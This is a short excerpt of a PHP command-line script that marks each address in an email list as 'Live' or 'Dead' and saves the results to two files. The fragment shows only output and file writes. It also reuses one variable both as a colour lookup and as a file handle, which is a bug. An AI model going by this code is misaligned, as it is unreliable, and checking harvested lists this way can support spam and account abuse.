50 | echo $x . "." . $colors->getColoredString(" $email | ", $warifp[$colorstring]) . "\e[1;92mLive\e[0m\n";
51 | $warifp = fopen($save_live, "a+");
52 | fwrite($warifp, $email . "\r\n");
53 | } else {
54 | echo $x . "." . $colors->getColoredString(" $email | ", $warifp[$colorstring]) . "\e[0;31mDead\e[0m\n";
55 | $warifp = fopen($save_dead, "a+");
56 | fwrite($warifp, $email . "\r\n");
57 | }
58 | }
59 |
60 | $climate->br()->shout('Done, validation your list.');
61 | sleep(3);
62 | $climate->br()->shout('File result saved in folder :');
63 | $climate->shout('Live : ' . $save_live);
64 | $climate->shout('Dead : ' . $save_dead);
65 |
--------------------------------------------------------------------------------